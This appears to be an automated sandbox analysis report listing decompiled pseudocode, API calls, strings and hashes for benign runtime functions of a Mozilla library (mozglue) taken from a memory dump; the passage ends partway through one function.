Opcode Fuzzy Hash: 811740c2b45d14fee9616bb5b9dc0db4619b58920bd66d252af0d738ffaa1495
Instruction Fuzzy Hash: 8B318D39610209AADB20DFA0CD8CFFE77B9EF4A310F004948F955A7681D775A946CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D869300, Relevance: 12.1, APIs: 8, Instructions: 75stringCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,6D862424,00000008), ref: 6D869306
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(?,?,6D862424,00000008), ref: 6D86931A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D8800D8,?,?,?,6D862424,00000008), ref: 6D869337
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(?,?,?,?,6D862424,00000008), ref: 6D86934A

Part of subcall function 6D8691C0: mozalloc_abort.MOZGLUE(?,?,6D8800D8,00000001), ref: 6D86921C

realloc.MOZGLUE(?,?,?,?,?,?,?,6D862424,00000008), ref: 6D869359
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(?,?,?,?,?,?,6D862424,00000008), ref: 6D86936E
strdup.MOZGLUE(?,?,?,?,?,?,?,?,6D862424,00000008), ref: 6D869386
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(00000000,?,?,?,?,?,?,?,6D862424,00000008), ref: 6D869394

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: ?mozalloc_handle_oom@@$_errnomallocmozalloc_abortreallocstrdup
String ID:
API String ID: 4075702746-0
Opcode ID: cd0fd35b4d5463959a0046b85e321a26e0301a7b6c221ae02102c81f48717907
Instruction ID: 054d43434cee11f3b8b8d6c9a5cd58568c1858d8db09bdc89cd5a05971fdcb58
Opcode Fuzzy Hash: cd0fd35b4d5463959a0046b85e321a26e0301a7b6c221ae02102c81f48717907
Instruction Fuzzy Hash: CA01253110C24EBFCF053B59ED0C9993B6ADB01AB9F219825FA1C494E0EB32D95096A4

Uniqueness

Uniqueness Score: -1.00%

Function 6D86DE00, Relevance: 10.7, APIs: 7, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D86DE00(signed int* __ecx, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int* _v36;
				char _v40;
				char _v52;
				signed int _v56;
				void* _t67;
				void* _t70;
				void* _t72;
				signed int _t77;
				void* _t78;
				void* _t80;
				signed int* _t85;
				void* _t89;
				signed int _t94;
				signed int _t103;
				void* _t104;
				signed int _t106;
				signed int _t111;
				signed int _t113;
				signed int* _t114;
				signed int* _t115;
				unsigned int _t120;

				_v32 = 2;
				_t114 = _a8;
				_v40 = __ecx;
				_v36 = _t114;
				_t93 = 0 | __ecx[4] != _t114[4];
				_v56 = __ecx[4] != _t114[4];
				_t67 = E6D86ECEC( &_v40) - 1;
				if(_t67 == 0) {
					E6D86F040(_a4);
					L40:
					L41:
					return _a4;
				}
				_t70 = _t67 - 1;
				if(_t70 == 0) {
					E6D86FC47( &_v40, _a4);
					goto L41;
				}
				_t72 = _t70 - 1;
				if(_t72 == 0) {
					E6D86ED50(_a4, _t93);
					L36:
					goto L40;
				}
				if(_t72 == 1) {
					E6D86FC80(_a4, _t93);
					goto L36;
				}
				if(_t114[3] != 3) {
					__eflags = __ecx[3] - 3;
					_v24 = __ecx[2] - _t114[2];
					if(__ecx[3] != 3) {
						_t103 =  *__ecx;
						asm("xorps xmm0, xmm0");
						_t113 = __ecx[1];
						_t77 =  *_t114;
						_t120 = _t114[1];
						asm("movlpd [ebp-0x20], xmm0");
						_t94 = _v32;
						_t115 = _v36;
						_a8 = _t103;
						_v8 = _t113;
						_v12 = _t77;
						_v20 = _t120;
						_v16 = _t94;
						do {
							__eflags = _t113 - _t120;
							if(__eflags > 0) {
								L24:
								_push(_t94);
								_t78 = E6D877CA0(_t103, _t113, _t77, _t120);
								_v32 = _t94;
								_t94 = _v16;
								_v28 = _t103;
								_t104 = _t78;
								_t80 = 0xa763ffff - _t104;
								asm("sbb esi, edx");
								__eflags = _t94 - 0xde0b6b3;
								if(__eflags > 0) {
									L29:
									_t113 = _v8;
									_t120 = _v20;
									L30:
									_t106 = (_t120 << 0x00000020 | _v12) >> 1;
									__eflags = _t113 - _t120 >> 1;
									if(__eflags < 0) {
										L34:
										E6D86D880(_a4, _v56, _v24, _t115, _t94);
										goto L41;
									}
									if(__eflags > 0) {
										L33:
										_t115 =  &(_t115[0]);
										asm("adc ebx, 0x0");
										goto L34;
									}
									__eflags = _a8 - _t106;
									if(_a8 <= _t106) {
										goto L34;
									}
									goto L33;
								}
								if(__eflags < 0) {
									goto L27;
								}
								__eflags = _t115 - _t80;
								if(_t115 > _t80) {
									goto L29;
								}
								goto L27;
							}
							if(__eflags < 0) {
								while(1) {
									L15:
									__eflags = _t94 - 0x1634578;
									if(__eflags > 0) {
										break;
									}
									if(__eflags < 0) {
										L18:
										_a8 = E6D877E50(_t103, _t113, 0xa, 0);
										_v8 = _t113;
										_t85 = E6D877E50(_t115, _t94, 0xa, 0);
										_v24 = _v24 - 1;
										_t94 = _t113;
										_t113 = _v8;
										_t115 = _t85;
										_t103 = _a8;
										_t77 = _v12;
										__eflags = _t113 - _t120;
										if(__eflags < 0) {
											continue;
										}
										if(__eflags > 0) {
											break;
										}
										__eflags = _t103 - _t77;
										if(_t103 < _t77) {
											continue;
										}
										break;
									}
									__eflags = _t115 - 0x5d89ffff;
									if(_t115 >= 0x5d89ffff) {
										break;
									}
									goto L18;
								}
								_v16 = _t94;
								__eflags = _t113 - _t120;
								if(__eflags < 0) {
									goto L30;
								}
								if(__eflags > 0) {
									goto L24;
								}
								__eflags = _t103 - _t77;
								if(_t103 < _t77) {
									goto L30;
								}
								goto L24;
							}
							__eflags = _t103 - _t77;
							if(_t103 >= _t77) {
								goto L24;
							}
							goto L15;
							L27:
							_t120 = _v20;
							_t115 = _t115 + _t104;
							_t103 = _v28;
							asm("adc ebx, edx");
							_a8 = _t103;
							_t113 = _v32;
							__eflags = _t103 | _t113;
							_t77 = _v12;
							_v16 = _t94;
							_v8 = _t113;
						} while ((_t103 | _t113) != 0);
						goto L30;
					}
					E6D86D8AB(_a4, _t93, 0, 0, 0);
					goto L41;
				}
				if(__ecx[3] != 3) {
					_t89 = E6D86ED50( &_v52, _t93);
				} else {
					_t89 = E6D86F040( &_v52);
				}
				_t111 = 6;
				return memcpy(_a4, _t89, _t111 << 2);
			}

0x6d86de0a
0x6d86de12
0x6d86de1a
0x6d86de20
0x6d86de26
0x6d86de29
0x6d86de31
0x6d86de34
0x6d86dfde
0x6d86dfe3
0x6d86dfe4
0x00000000
0x6d86dfe4
0x6d86de3a
0x6d86de3d
0x6d86dfd4
0x00000000
0x6d86dfd4
0x6d86de43
0x6d86de46
0x6d86dfc7
0x6d86dfc0
0x00000000
0x6d86dfc0
0x6d86de4f
0x6d86dfbb
0x00000000
0x6d86dfbb
0x6d86de59
0x6d86de90
0x6d86de94
0x6d86de97
0x6d86deac
0x6d86deae
0x6d86deb1
0x6d86deb4
0x6d86deb6
0x6d86deb9
0x6d86debe
0x6d86dec1
0x6d86dec4
0x6d86dec7
0x6d86deca
0x6d86decd
0x6d86ded0
0x6d86ded3
0x6d86ded3
0x6d86ded5
0x6d86df32
0x6d86df32
0x6d86df37
0x6d86df3c
0x6d86df40
0x6d86df48
0x6d86df4b
0x6d86df52
0x6d86df54
0x6d86df56
0x6d86df58
0x6d86df85
0x6d86df85
0x6d86df88
0x6d86df8b
0x6d86df8e
0x6d86df94
0x6d86df96
0x6d86dfa5
0x6d86dfb0
0x00000000
0x6d86dfb0
0x6d86df98
0x6d86df9f
0x6d86df9f
0x6d86dfa2
0x00000000
0x6d86dfa2
0x6d86df9a
0x6d86df9d
0x00000000
0x00000000
0x00000000
0x6d86df9d
0x6d86df5a
0x00000000
0x00000000
0x6d86df5c
0x6d86df5e
0x00000000
0x00000000
0x00000000
0x6d86df5e
0x6d86ded7
0x6d86dedd
0x6d86dedd
0x6d86dedd
0x6d86dee3
0x00000000
0x00000000
0x6d86dee5
0x6d86deef
0x6d86df00
0x6d86df03
0x6d86df06
0x6d86df0b
0x6d86df0e
0x6d86df10
0x6d86df13
0x6d86df15
0x6d86df18
0x6d86df1b
0x6d86df1d
0x00000000
0x00000000
0x6d86df1f
0x00000000
0x00000000
0x6d86df21
0x6d86df23
0x00000000
0x00000000
0x00000000
0x6d86df23
0x6d86dee7
0x6d86deed
0x00000000
0x00000000
0x00000000
0x6d86deed
0x6d86df25
0x6d86df28
0x6d86df2a
0x00000000
0x00000000
0x6d86df2c
0x00000000
0x00000000
0x6d86df2e
0x6d86df30
0x00000000
0x00000000
0x00000000
0x6d86df30
0x6d86ded9
0x6d86dedb
0x00000000
0x00000000
0x00000000
0x6d86df60
0x6d86df60
0x6d86df63
0x6d86df65
0x6d86df6a
0x6d86df6c
0x6d86df6f
0x6d86df72
0x6d86df74
0x6d86df77
0x6d86df7a
0x6d86df7a
0x00000000
0x6d86df83
0x6d86dea2
0x00000000
0x6d86dea2
0x6d86de62
0x6d86de6e
0x6d86de64
0x6d86de65
0x6d86de65
0x6d86de7c
0x00000000

APIs

?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D86DE65
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D86DE6E
__aulldvrm.LIBCMT ref: 6D86DF37
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(?,?,?,00000003,?,?,?,00000002), ref: 6D86DFB0
?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D86DFBB
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D86DFC7
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D86DFDE

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$Sign@12@@$?infinity@?nan@$?zero@Sign@01@__aulldvrm
String ID:
API String ID: 3562196334-0
Opcode ID: 05afc803a4b065d71deb4cbb88c888ebfa3d153d2e3457a2d763a05fea2bd78b
Instruction ID: 883715c194464e92109ec05a8e4a79a84890581c27ae9b06f7822c47a75e3405
Opcode Fuzzy Hash: 05afc803a4b065d71deb4cbb88c888ebfa3d153d2e3457a2d763a05fea2bd78b
Instruction Fuzzy Hash: C4517471E14259ABDB14CF78D8889AEB7B5FF88764F31C91AF815A7200E7349D40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86266D, Relevance: 10.6, APIs: 7, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E6D86266D(void* __ebx, void* __edx, void* __edi, void* __esi, signed char _a4) {
				signed int _v8;
				struct _OSVERSIONINFOEXA _v164;
				signed int _t16;
				intOrPtr _t19;
				signed char _t21;
				signed int _t22;
				longlong _t35;
				signed char _t41;
				signed int _t44;
				void* _t52;
				void* _t58;
				signed int _t59;

				_t52 = __edx;
				_t16 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t16 ^ _t59;
				_t44 =  *0x6d880b94; // 0xe
				_t19 =  *0x6d8801d4; // 0x0
				if(_t19 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c] + _t44 * 4)) + 8))) {
					E6D87778B(0x6d8801d4);
					if( *0x6d8801d4 == 0xffffffff) {
						 *0x6d8801d8 =  *0x6d8801d8 | 0xffffffff;
						 *0x6d8801d0 = 0;
						E6D87774C(0x6d8801d4, 0x6d8801d4);
					}
				}
				_t21 =  *0x6d8801d0; // 0x0
				_t41 = _a4;
				if(_t21 < _t41) {
					_t22 =  *0x6d8801d8; // 0x0
					if(_t41 >= _t22) {
						L7:
						goto L8;
					}
					memset( &_v164, 0, 0x9c);
					_v164.dwOSVersionInfoSize = 0x9c;
					_v164.dwMajorVersion = _t41 >> 0x18;
					_v164.dwMinorVersion = _t41 >> 0x00000010 & 0x000000ff;
					_t58 = 3;
					_v164.wServicePackMajor = _t41 >> 0x00000008 & 0x000000ff;
					_t35 = _t41 & 0x000000ff;
					_v164.wServicePackMinor = _t35;
					__imp__VerSetConditionMask(0, 0, 2, 0x9c);
					__imp__VerSetConditionMask(_t35, _t52, 1, 0x9c);
					__imp__VerSetConditionMask(_t35, _t52, 0x20, 0x9c);
					__imp__VerSetConditionMask(_t35, _t52, 0x10, _t58);
					_push(_t52);
					if(VerifyVersionInfoA( &_v164, 0x33, _t35) == 0) {
						 *0x6d8801d8 = _t41;
						goto L7;
					}
					 *0x6d8801d0 = _t41;
					goto L2;
				} else {
					L2:
					L8:
					return E6D8770C0(_v8 ^ _t59);
				}
			}

0x6d86266d
0x6d862676
0x6d86267d
0x6d862686
0x6d862694
0x6d86269f
0x6d86277d
0x6d86278a
0x6d862790
0x6d862798
0x6d86279e
0x6d8627a3
0x6d86278a
0x6d8626a5
0x6d8626aa
0x6d8626af
0x6d8626b8
0x6d8626bf
0x6d862764
0x00000000
0x6d862764
0x6d8626d3
0x6d8626db
0x6d8626e6
0x6d8626f6
0x6d8626fe
0x6d862708
0x6d86270d
0x6d862711
0x6d862715
0x6d862720
0x6d86272b
0x6d862736
0x6d86273c
0x6d86274f
0x6d862762
0x00000000
0x6d862762
0x6d862756
0x00000000
0x6d8626b1
0x6d8626b1
0x6d862766
0x6d862776
0x6d862776

APIs

memset.VCRUNTIME140(?,00000000,0000009C,00000000,06020000,6D879648), ref: 6D8626D3
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000000,06020000,6D879648), ref: 6D862715
VerSetConditionMask.KERNEL32(00000000,?,00000001,00000003), ref: 6D862720
VerSetConditionMask.KERNEL32(00000000,?,00000020,00000003,?,00000001,00000003), ref: 6D86272B
VerSetConditionMask.KERNEL32(00000000,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6D862736
VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 6D862747
__Init_thread_footer.LIBCMT ref: 6D86279E

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: ConditionMask$InfoInit_thread_footerVerifyVersionmemset
String ID:
API String ID: 387208282-0
Opcode ID: 538dabfc5b88021925ac43955538081d0c1138608e1d44991a8d058fe8209289
Instruction ID: 68a12ec67f7130175e7a3602ef735cf6e668fac05f14db65f298fc365af82378
Opcode Fuzzy Hash: 538dabfc5b88021925ac43955538081d0c1138608e1d44991a8d058fe8209289
Instruction Fuzzy Hash: D3319475A01218AFDB209F6E8C8CF6A77B8FB4B722F4045A9F904DB281C7755904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6D869480, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E6D869480(void* __ecx, void* __edx, void* __edi, signed long long __fp0, intOrPtr _a4) {
				signed int _v16;
				intOrPtr _v20;
				signed long long _v36;
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t18;
				intOrPtr _t20;
				void* _t29;
				void* _t31;
				void* _t33;
				void* _t36;
				void* _t37;
				void* _t41;
				signed long long _t46;

				_t46 = __fp0;
				_t37 = _t41;
				_t20 = _a4;
				_t5 = E6D869568(_t20);
				__imp__SleepConditionVariableSRW(__ecx, _t5, 0xffffffff, 0, _t29, _t36);
				_pop(_t31);
				if(_t5 == 0) {
					E6D8690E5("MOZ_RELEASE_ASSERT(r)");
					asm("int3");
					E6D868DD0(0x34);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t8 = E6D869568(_v20);
					_t9 = E6D869411(_t8);
					_v36 = _t46 *  *0x6d87aa58;
					asm("movsd xmm0, [ebp-0x8]");
					_t10 = E6D877B01(_t9);
					asm("movsd xmm0, [ebp-0x8]");
					asm("comisd xmm0, [0x6d87aa60]");
					asm("xorps xmm1, xmm1");
					_t11 =  >  ? _v16 | 0xffffffff : _t10;
					asm("comisd xmm1, xmm0");
					_t12 =  >  ? 0 :  >  ? _v16 | 0xffffffff : _t10;
					__imp__SleepConditionVariableSRW(_t8, _t12, 0, __edi, _t31, _t20, _t20, _t37);
					_t33 = _t20;
					if(_t12 == 0) {
						if(GetLastError() != 0x5b4) {
							E6D8690E5("MOZ_RELEASE_ASSERT(GetLastError() == 1460L)");
							asm("int3");
							E6D868DD0(0x45);
							asm("int3");
							asm("int3");
							asm("int3");
							__imp__InitializeSRWLock(0, _t33);
							return 0;
						} else {
							_t18 = 1;
							goto L7;
						}
					} else {
						_t18 = 0;
						L7:
						return _t18;
					}
				} else {
					return _t5;
				}
			}

0x6d869480
0x6d869481
0x6d869486
0x6d869489
0x6d869494
0x6d86949a
0x6d86949d
0x6d8694a8
0x6d8694b0
0x6d8694b3
0x6d8694b8
0x6d8694b9
0x6d8694ba
0x6d8694bb
0x6d8694bc
0x6d8694bd
0x6d8694be
0x6d8694bf
0x6d8694cc
0x6d8694d6
0x6d8694e3
0x6d8694e6
0x6d8694eb
0x6d8694f0
0x6d8694f8
0x6d869500
0x6d869503
0x6d869508
0x6d86950c
0x6d869512
0x6d869519
0x6d86951c
0x6d86952d
0x6d86953d
0x6d869545
0x6d869548
0x6d86954d
0x6d86954e
0x6d86954f
0x6d869554
0x6d86955d
0x6d86952f
0x6d869531
0x00000000
0x6d869531
0x6d86951e
0x6d86951e
0x6d869532
0x6d869535
0x6d869535
0x6d86949f
0x6d8694a0
0x6d8694a0

APIs

SleepConditionVariableSRW.KERNEL32(?,00000000,000000FF,00000000), ref: 6D869494
SleepConditionVariableSRW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,00000034), ref: 6D869512

Strings

MOZ_RELEASE_ASSERT(r), xrefs: 6D8694A3
MOZ_RELEASE_ASSERT(GetLastError() == 1460L), xrefs: 6D869538

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: ConditionSleepVariable
String ID: MOZ_RELEASE_ASSERT(GetLastError() == 1460L)$MOZ_RELEASE_ASSERT(r)
API String ID: 1382704212-574271323
Opcode ID: 3f21ebb4c356626de1bed3f7a40ed5f83016419ba060151ad76bbbfd6f7edfc9
Instruction ID: 056bb0c875bc8655f6ac669e1042a455747fe0b32a2f44afcdd317c7be6a1856
Opcode Fuzzy Hash: 3f21ebb4c356626de1bed3f7a40ed5f83016419ba060151ad76bbbfd6f7edfc9
Instruction Fuzzy Hash: 451104325040586BD70467789C0EEAE762CDF573B0F000A25BA19A61C0EF20990186F1

Uniqueness

Uniqueness Score: -1.00%

Function 6D876A05, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D876A05() {
				intOrPtr _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t14;

				_t1 =  *0x6d880808; // 0x0
				if(_t1 != 1) {
					if(_t1 == 0) {
						_t14 = GetModuleHandleW(L"KERNEL32.DLL");
						if(_t14 != 0) {
							_t3 = GetProcAddress(_t14, "AcquireSRWLockExclusive");
							if(_t3 == 0) {
								goto L5;
							} else {
								 *0x6d88080c = _t3;
								_t6 = GetProcAddress(_t14, "ReleaseSRWLockExclusive");
								if(_t6 == 0) {
									goto L5;
								} else {
									 *0x6d880810 = _t6;
								}
							}
						} else {
							L5:
							_t14 = 1;
						}
						asm("lock cmpxchg [edx], ecx");
						if(0 != 0 || _t14 != 1) {
							if(0 != 1) {
								_t5 = 1;
							} else {
								goto L12;
							}
						} else {
							L12:
							_t5 = 0;
						}
						return _t5;
					} else {
						return 1;
					}
				} else {
					return 0;
				}
			}

0x6d876a05
0x6d876a10
0x6d876a18
0x6d876a2a
0x6d876a2e
0x6d876a3a
0x6d876a42
0x00000000
0x6d876a44
0x6d876a4a
0x6d876a4f
0x6d876a57
0x00000000
0x6d876a59
0x6d876a59
0x6d876a59
0x6d876a57
0x6d876a30
0x6d876a30
0x6d876a30
0x6d876a30
0x6d876a67
0x6d876a6d
0x6d876a75
0x6d876a7b
0x00000000
0x00000000
0x00000000
0x6d876a77
0x6d876a77
0x6d876a77
0x6d876a77
0x6d876a7f
0x6d876a1a
0x6d876a1d
0x6d876a1d
0x6d876a12
0x6d876a15
0x6d876a15

Strings

KERNEL32.DLL, xrefs: 6D876A1F
ReleaseSRWLockExclusive, xrefs: 6D876A44
AcquireSRWLockExclusive, xrefs: 6D876A34

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 0c2aca8fd07f447f253098b46e2f1254abb2b3fe24fe8c3254b247bf5af46b61
Instruction ID: e7f467d1ad3909d8cf555e923a4fd7e1ae93f183ff8b13e7f682ebeb6119b097
Opcode Fuzzy Hash: 0c2aca8fd07f447f253098b46e2f1254abb2b3fe24fe8c3254b247bf5af46b61
Instruction Fuzzy Hash: A601F475A162335B9FB0AE6A4C8E6AFA7F8BA07362310CD39F511D3200D720C486CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D870A27, Relevance: 10.5, APIs: 7, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6D870A27(void* __ecx, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _t10;
				char* _t13;
				void* _t26;
				intOrPtr* _t27;

				__imp__??0_Lockit@std@@QAE@H@Z(0, _t26, __ecx, __ecx);
				_t10 =  *0x6d8807f8; // 0x0
				_v8 = _t10;
				__imp__??Bid@locale@std@@QAEIXZ();
				_t27 = E6D874556(_a4, _t10);
				if(_t27 == 0) {
					_t27 = _v8;
					if(_t27 == 0) {
						_t13 =  &_v8;
						__imp__?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z(_t13, _a4);
						_t31 = _t13 - 0xffffffff;
						if(_t13 == 0xffffffff) {
							abort();
						}
						_t27 = _v8;
						 *0x6d8807f8 = _t27;
						 *((intOrPtr*)( *_t27 + 4))();
						E6D87707C(_t31, _t27);
					}
				}
				__imp__??1_Lockit@std@@QAE@XZ();
				return _t27;
			}

0x6d870a32
0x6d870a38
0x6d870a43
0x6d870a46
0x6d870a55
0x6d870a59
0x6d870a5b
0x6d870a60
0x6d870a65
0x6d870a69
0x6d870a71
0x6d870a74
0x6d870a76
0x6d870a76
0x6d870a7c
0x6d870a81
0x6d870a89
0x6d870a8d
0x6d870a92
0x6d870a60
0x6d870a96
0x6d870aa2

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,?,?), ref: 6D870A32
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?), ref: 6D870A46
std::locale::_Getfacet.LIBCPMT ref: 6D870A50

Part of subcall function 6D874556: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,6D870A55,00000000,?,?,?,?,?,?), ref: 6D87457B

?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?), ref: 6D870A69
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6D870A76
std::_Facet_Register.LIBCPMT ref: 6D870A8D
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?), ref: 6D870A96

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@GetfacetGetgloballocale@locale@std@@Locimp@12@RegisterV42@@Vfacet@locale@2@abortstd::_std::locale::_
String ID:
API String ID: 3620348516-0
Opcode ID: 02e06ac5d75d424c5adca3bed253d607f2894bbd26b5ca19ca51231507f4708e
Instruction ID: c3fc5075e7a38edd18856afdcc49e522bef6e0658313a85e2efd1514bc51d352
Opcode Fuzzy Hash: 02e06ac5d75d424c5adca3bed253d607f2894bbd26b5ca19ca51231507f4708e
Instruction Fuzzy Hash: 41014C36D14229EBCF14EBA8C80CA9DBBB8EF0F321B110559E81593380DB31AE00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86A9B0, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 6D86A9FE
___swprintf_l.LIBCMT ref: 6D86AA16

Strings

#%02u: ??? (???:???), xrefs: 6D86AA0B
???, xrefs: 6D86A9BF, 6D86A9D4, 6D86A9EF
#%02u: %s[%s +0x%x], xrefs: 6D86A9F3
#%02u: %s (%s:%u), xrefs: 6D86A9D8

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: #%02u: %s (%s:%u)$#%02u: %s[%s +0x%x]$#%02u: ??? (???:???)$???
API String ID: 48624451-3546623234
Opcode ID: 32c3feac819938a67e55d98da51519057678d77c136868b1c9252ff26c120002
Instruction ID: 9b6e1e49c1d42d223a121ef856b5d4f85cbe0d7f2847110fb7ce59b1d799d0f5
Opcode Fuzzy Hash: 32c3feac819938a67e55d98da51519057678d77c136868b1c9252ff26c120002
Instruction Fuzzy Hash: 550181715042CA7FEF068F58DC49FBE3B5AAF45328F154949F96C0A162D732D8A0E760

Uniqueness

Uniqueness Score: -1.00%

Function 6D86EA20, Relevance: 9.2, APIs: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6D86EA20(void* _a4, intOrPtr* _a8) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v64;
				void* _t65;
				void* _t69;
				intOrPtr* _t77;
				intOrPtr _t82;
				void* _t86;
				intOrPtr* _t90;
				char _t92;
				intOrPtr _t99;
				signed int _t100;
				void* _t105;
				intOrPtr _t109;

				asm("xorps xmm0, xmm0");
				_v12 = 0;
				_t65 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				asm("movlpd [ebp-0x18], xmm0");
				_t82 = _v28;
				_push(7);
				_t99 =  *((intOrPtr*)(_a8 + 0x10));
				_v40 = _t99;
				_t100 = _v24;
				_v20 = 0;
				_v8 = 0;
				_pop(1);
				if(_t99 == 0) {
					L50:
					if(1 != 8) {
						if(1 == 0 || 1 == 4 || 1 == 2) {
							_t109 = _v32;
							_t103 =  ==  ?  ~0x00000000 : 0;
							_t104 = ( ==  ?  ~0x00000000 : 0) - _t109;
							_t105 = ( ==  ?  ~0x00000000 : 0) - _t109 + _v36;
							if(_t105 >= 0xfffffc01) {
								_t86 = _t105 - 0x3fe;
								if(_t86 <= 0) {
									L66:
									E6D86D880(_a4, _v8, _t105, _t82, _t100);
									goto L67;
								}
								if(_t86 - _t109 + _v12 <= 0x12) {
